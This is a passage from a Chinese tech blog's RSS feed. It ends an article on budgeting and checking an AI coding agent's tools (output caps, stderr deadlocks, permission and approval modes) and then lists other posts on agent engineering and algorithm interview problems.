<h2>怎么验证你的工具真的安全</h2>

一套可执行的检查清单，按发现问题的成本从低到高排列。
<div class="table-scroll"><table>
<thead>
<tr>
<th>检查</th>
<th>方法</th>
<th>预期</th>
</tr>
</thead>
<tbody>
<tr>
<td>出口是否有兜底</td>
<td>读 <code>dispatch</code>（或等价的唯一出口）末尾</td>
<td>有统一截断，且对所有工具生效</td>
</tr>
<tr>
<td>每个工具是否自封顶</td>
<td>搜所有常量定义</td>
<td>每个读/执行类工具都有上限</td>
</tr>
<tr>
<td>单位是否统一</td>
<td>对比常量名与实现里的 <code>len()</code> / <code>chars().count()</code></td>
<td>一致，或注释明确</td>
</tr>
<tr>
<td>二进制文件</td>
<td>让 Agent 读一个 PNG</td>
<td>明确报错，而不是返回乱码</td>
</tr>
<tr>
<td>大文件</td>
<td>让 Agent 读一个 10 MB 日志</td>
<td>报错并提示用 offset/limit</td>
</tr>
<tr>
<td>巨型目录</td>
<td>让 Agent 列一个有五千文件的目录</td>
<td>有上限提示，不是静默截断</td>
</tr>
<tr>
<td>刷屏命令</td>
<td>跑一个连续输出 5 分钟的脚本</td>
<td>超时被杀，报告说明；内存不涨</td>
</tr>
<tr>
<td>双流阻塞</td>
<td>后台跑一个往 stderr 写 1 MB 的命令</td>
<td>任务能正常结束（这是最容易漏的一项）</td>
</tr>
<tr>
<td>空参数</td>
<td>直接调用工具传空字符串</td>
<td>明确报错，且报错发生在 IO 之前</td>
</tr>
<tr>
<td>权限模式</td>
<td>用 <code>plan</code> 模式尝试改文件</td>
<td>工具不出现在列表里，直接调用被拒</td>
</tr>
<tr>
<td>审批</td>
<td>在默认模式下跑一条危险命令</td>
<td>出现确认提示；拒绝后模型不重试</td>
</tr>
<tr>
<td>上限触发</td>
<td>临时把 <code>MAX_MATCHES</code> 改成 3</td>
<td>输出带截断说明，条数正确</td>
</tr>
</tbody>
</table></div>

其中「双流阻塞」是唯一一个几乎必然发现 bug 的检查：写一个每秒往 stderr 打印一行的脚本，用后台模式跑十秒，再 <code>task_output</code> 看它能不能结束。如果它永远显示 <code>running</code>，就命中了那条死锁。
<h2>小结：上限是设计，不是补丁</h2>

把这篇的结论压缩成五句话：
<ol>
<li>工具设计有三层：拓扑（有哪些）、形状（怎么调）、预算（回来多少）。前两层决定能不能用对，第三层决定用了之后上下文还在不在。</li>
<li>上限必须分层且默认生效。枚举前过滤、读取时限制、产出后裁剪、出口兜底——四层缺一层，就有对应的资源问题。</li>
<li>超限必须有痕迹。静默跳过是最贵的失败模式，因为它让模型基于不完整的信息自信地下结论。</li>
<li>错误文本是提示词的一部分。写「下一步做什么」，比写「哪里错了」有用得多。</li>
<li>相似路径要对称实现。前台和后台命令的排空策略不一致，直接导致了永久阻塞。</li>
</ol>

一个 Agent 的工具层，说到底是「把外部世界翻译成模型能消化的文本」的一层。翻译的质量取决于两件事：翻译得准不准（schema 与描述），以及翻译的量可不可控（预算）。绝大多数教程只讲第一件，但线上事故多来自第二件。

NanoHermes 的工具层不完美：<code>read_file</code> 不做二进制检测、<code>grep</code> 没有文件数上限、后台任务的 stderr 从不读取、<code>clamp</code> 的单位标注有误、<code>glob</code> 会报「假截断」。但这些缺陷都是可以指认、可以定位、可以逐个修掉的——它们不是「设计上没想到」，而是「实现上漏了一处」。这个差别很重要：前者需要重新架构，后者只需要补一次代码。

下一篇进入《Agent 并发：不用 async 运行时怎么并行》。工具解决了「单次拿回多少」，并发要解决的是「一轮里同时做几件事」——同一个哲学用两次，一次用在数据量上，一次用在时间上。]]></content:encoded>
    </item>
    <item>
      <title>Agent 记忆：不接向量库也能长期记忆</title>
      <link>https://zhoujungis.github.io/article/agent-memory-without-vector-db/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-memory-without-vector-db/</guid>
      <pubDate>Thu, 22 Oct 2026 04:23:37 GMT</pubDate>
      <description>适用读者：已经让 Agent 跨会话工作、却发现它「每次都像第一次见你」的人；正在纠结要不要上向量库的人；想给记忆加淘汰、去重、预算，但不想引入新服务的人 结论先行：长期记忆的难点不在「存」，而在「下一次用得上」。NanoHermes 用 500 行不到的 memory.rs 做完了这件事：一个 memory.json</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>架构设计</category>
      <category>记忆系统</category>
    </item>
    <item>
      <title>Agent 上下文：留什么，丢什么</title>
      <link>https://zhoujungis.github.io/article/agent-context-keep-or-drop/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-context-keep-or-drop/</guid>
      <pubDate>Thu, 22 Oct 2026 04:08:25 GMT</pubDate>
      <description>适用读者：已经写出第一版 Agent 循环、开始被「历史越跑越长」折磨的人；想知道 compact 到底该保留什么的人；准备给 Agent 加记忆、加检索、加多代理，但先想把上下文预算算清楚的人 结论先行：上下文不是聊天记录，而是「下一步还需要的工作集」。留什么的标准只有一个——下一条消息里，模型会不会用到它。Nano</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>上下文工程</category>
      <category>架构设计</category>
    </item>
    <item>
      <title>Agent 的本质：一个两百行的循环</title>
      <link>https://zhoujungis.github.io/article/agent-loop-two-hundred-lines/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-loop-two-hundred-lines/</guid>
      <pubDate>Thu, 22 Oct 2026 03:51:20 GMT</pubDate>
      <description>适用读者：写过业务代码、想自己实现一个 coding agent 的工程师；被各种「规划、记忆、多智能体」名词绕晕、想看清运行时骨架的人；准备读 NanoHermes 源码但不知道从哪个函数开始的人 结论先行：把 Agent 的所有名词剥掉，剩下的就是一个循环——把消息发给模型，模型要么回文本，要么回工具调用；执行工具</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>Rust</category>
      <category>架构设计</category>
    </item>
    <item>
      <title>NanoHermes：零运行时的 Rust Agent</title>
      <link>https://zhoujungis.github.io/article/nanohermes-rust-coding-agent/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/nanohermes-rust-coding-agent/</guid>
      <pubDate>Thu, 22 Oct 2026 01:40:57 GMT</pubDate>
      <description>适用读者：想自己写一个 coding agent、但不想背一整套 Node/Python 依赖与异步运行时的后端与工具链工程师；关心「一个 agent 到底需要多少代码」的人；对 Landlock 沙箱、MCP 传输层、本地 BM25 检索这些具体实现好奇的人 结论先行：NanoHermes 的技术密度不在功能清单上，</description>
      <category>项目实践</category>
      <category>Agent</category>
      <category>MCP</category>
      <category>Rust</category>
      <category>Tauri</category>
      <category>桌面应用</category>
    </item>
    <item>
      <title>NanoBrowser 拆解：手写进程内 CDP</title>
      <link>https://zhoujungis.github.io/article/nanobrowser-tauri-webview2/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/nanobrowser-tauri-webview2/</guid>
      <pubDate>Fri, 16 Oct 2026 10:39:08 GMT</pubDate>
      <description>适用读者：想知道「不打包 Chromium 能不能造浏览器」的桌面与前端工程师；想把浏览器接进 Agent 流水线的开发者；对 Tauri 2 的 child webview 能力好奇、但还没踩过坑的人 结论先行：NanoBrowser 的价值不在「又一个浏览器」，而在三个反常识的技术决定——不造渲染引擎、 永不开调试</description>
      <category>项目实践</category>
      <category>MCP</category>
      <category>Rust</category>
      <category>Tauri</category>
      <category>WebView2</category>
      <category>桌面应用</category>
      <category>零框架</category>
    </item>
    <item>
      <title>【开源】aidevops 技术拆解：研发数据关联与可解释风险</title>
      <link>https://zhoujungis.github.io/article/aidevops-terminal-client/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/aidevops-terminal-client/</guid>
      <pubDate>Fri, 16 Oct 2026 07:14:43 GMT</pubDate>
      <description>前几天把 AI DevOps / QA Copilot 的终端客户端发上了 PyPI： aidevops ， pip install aidevops 就能装。源码在 GitHub ，MIT 协议， 项目完全开源 。 这篇文章把它讲透：它解决什么问题、数据是怎么流动的、风险分是怎么算出来的、AI 在里面扮演什么角色（以</description>
      <category>项目实践</category>
      <category>DevOps</category>
      <category>Python</category>
      <category>aidevops</category>
      <category>开源</category>
    </item>
    <item>
      <title>一周 15 万 Star 的 REA：让 Agent 逆向一切的开源 MCP Server</title>
      <link>https://zhoujungis.github.io/article/rea-reverse-engineer-anything/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/rea-reverse-engineer-anything/</guid>
      <pubDate>Thu, 15 Oct 2026 03:19:12 GMT</pubDate>
      <description>适用读者：想搞清楚&quot;REA 到底能不能用&quot;的工程师；在评估&quot;要不要把逆向能力接进自己的 Agent 流水线&quot;的团队 结论先行：REA 不是一个反编译器，而是 把已有逆向引擎编排给 Agent 的中间层 。它的价值在&quot;证据&quot;，不在&quot;魔法&quot; 阅读时间：约 40 分钟 | 难度：中高级 | 收获：一份三层架构与证据模型的技术</description>
      <category>科技前沿</category>
      <category>Agent</category>
      <category>MCP</category>
      <category>REA</category>
      <category>安全</category>
      <category>开源</category>
      <category>逆向工程</category>
    </item>
    <item>
      <title>【动态规划】允许一个错的最长公共连续子串：额度只能从干净的 f 接</title>
      <link>https://zhoujungis.github.io/article/lc-lcs-one-mismatch/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/lc-lcs-one-mismatch/</guid>
      <pubDate>Thu, 15 Oct 2026 02:41:23 GMT</pubDate>
      <description>题目 给定两个字符串，求 最长公共连续子序列 的长度，允许其中出现 最多一处&quot;错误&quot; ——也就是两个子串按位对齐时，至多有一个位置的字符不相等，这一整段仍然算「公共的、连续的」。 这题的现实场景很直白：DNA 序列比对（允许一个突变）、拼写纠错（允许一个错字）、日志对齐（允许一处噪声）。面试里它的地位类似「允许一次操作</description>
      <category>算法</category>
      <category>动态规划</category>
      <category>面试</category>
    </item>
    <item>
      <title>【海量数据】10 亿整数排序去重：一张位图，119 MiB 换 4 GB</title>
      <link>https://zhoujungis.github.io/article/lc-bitmap-sort-dedup/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/lc-bitmap-sort-dedup/</guid>
      <pubDate>Thu, 15 Oct 2026 02:07:51 GMT</pubDate>
      <description>题目 10 亿个无序整数，内存有限（比如 1 GB），要求 排序去重 后输出。如果只问个数，就是 统计 distinct 个数 。追问：如果还想知道哪些数重复了、哪些只出现一次，怎么办？ 这就是位图（BitMap）的主场。这道题在面试里出现的频率极高，因为它考的不是某个精巧算法，而是一个思维转换： 当整数有界时，「值域</description>
      <category>算法</category>
      <category>海量数据</category>
      <category>面试</category>
    </item>
    <item>
      <title>【KMP】求 next 数组：自己跟自己的最长相等前后缀</title>
      <link>https://zhoujungis.github.io/article/kmp-next-array/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/kmp-next-array/</guid>
      <pubDate>Wed, 14 Oct 2026 08:55:55 GMT</pubDate>
      <description>题目 求模式串 p = &quot;abacaba&quot; 的 next 数组 。按 最长相等真前后缀 的定义，答案是 [0,0,1,0,1,2,3] 。 ⚠️ 一句话先记住： 面试前必须确认面试官用的是哪种定义 。另有一种把首项记作 -1 的定义（严蔚敏《数据结构》风格），同一条串在那套定义下的答案是 [-1,0,0,1,0,1,2</description>
      <category>算法</category>
      <category>LeetCode</category>
      <category>字符串</category>
      <category>面试</category>
    </item>
    <item>
      <title>【LC 1928】规定时间内到达终点的最小花费：分层图上的 dp</title>
      <link>https://zhoujungis.github.io/article/lc-1928-min-cost/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/lc-1928-min-cost/</guid>
      <pubDate>Wed, 14 Oct 2026 07:28:45 GMT</pubDate>
      <description>题目 LC 1928 规定时间内到达终点的最小花费 ：有 n 个城市（编号 0 .. n-1 ）。 edges[i] = [x, y, time] 是一条 无向边 ，边上只有 时间 、 没有花费 。另有 passingFees[v] ： 每经过一座城市付一次 该城市的通行费 —— 起点与终点也要付 。求从 0 走到 n</description>
      <category>算法</category>
      <category>LeetCode</category>
      <category>动态规划</category>
      <category>面试</category>
    </item>
    <item>
      <title>【扑克】5 张牌判断顺子：王只补缺失，补不了重复</title>
      <link>https://zhoujungis.github.io/article/lc-61-poker-straight/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/lc-61-poker-straight/</guid>
      <pubDate>Wed, 14 Oct 2026 02:11:34 GMT</pubDate>
      <description>题目 给定 5 张牌，牌面数字 1~13（A=1，J=11，Q=12，K=13），判断是不是顺子（连续 5 张）。追问：如果牌里有大小王（记作 0，可当任意牌），怎么判断？ 这就是 LeetCode 面试题 61. 扑克牌中的顺子 （剑指 Offer 61）。这题代码只有十行，但面试分数全在细节里：重复怎么办、王怎么算</description>
      <category>算法</category>
      <category>LeetCode</category>
      <category>面试</category>
    </item>
    <item>
      <title>【数学】1~n 中数字 1 的个数：逐位拆解，O(log n) 的账本算法</title>
      <link>https://zhoujungis.github.io/article/lc-233-number-of-digit-one/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/lc-233-number-of-digit-one/</guid>
      <pubDate>Tue, 13 Oct 2026 09:01:58 GMT</pubDate>
      <description>题目 给定 n ，统计 1 ~ n 所有整数中数字 1 出现的次数。 要求找规律，不要暴力。 这就是 LeetCode 233. Number of Digit One 。看着像一道模拟题， n 大起来之后暴力的代价是灾难级的： n = 2147483647 时要逐个数检查约 21.5 亿个数、每个最多 10 个数位，</description>
      <category>算法</category>
      <category>LeetCode</category>
      <category>数学</category>
      <category>面试</category>
    </item>
    <item>
      <title>【数组】重复元素找第 10 大：答案能差一倍，差别全在口径</title>
      <link>https://zhoujungis.github.io/article/kth-largest-with-duplicates/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/kth-largest-with-duplicates/</guid>
      <pubDate>Tue, 13 Oct 2026 07:39:39 GMT</pubDate>
      <description>题目 给一个长度为 N 的 有重复元素 的数组，输出第 10 大的数。要求注意合法性校验、边界条件与异常处理。 同题在 LeetCode 上是 LC 215 数组中的第 K 个最大元素 ， k 是参数化的。 本题真正难的既不是算法也不是堆，是「第 10 大」这四个字在有重复元素时有两种完全不同的解释。 一、核心洞察：先</description>
      <category>算法</category>
      <category>LeetCode</category>
      <category>动态规划</category>
      <category>面试</category>
    </item>
    <item>
      <title>【矩阵】螺旋填数：先对齐口径，再谈 O(M×N)</title>
      <link>https://zhoujungis.github.io/article/spiral-matrix-fill/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/spiral-matrix-fill/</guid>
      <pubDate>Tue, 13 Oct 2026 07:11:23 GMT</pubDate>
      <description>题目 给一个 M x N 的矩阵，从 1 开始 逆时针螺旋 填入 / 打印这 M x N 个数，要求时间复杂度尽可能低。 面试现场通常是画个九宫格，让你从 1 开始往里填。思路一句话： 向右、向下、向左、向上循环，每撞到未填区域的边缘就变向。 在写任何代码之前，有一件事必须先对齐 —— 口径。 一、核心洞察：先把&quot;逆时</description>
      <category>算法</category>
      <category>LeetCode</category>
      <category>动态规划</category>
      <category>面试</category>
    </item>
  </channel>
</rss>
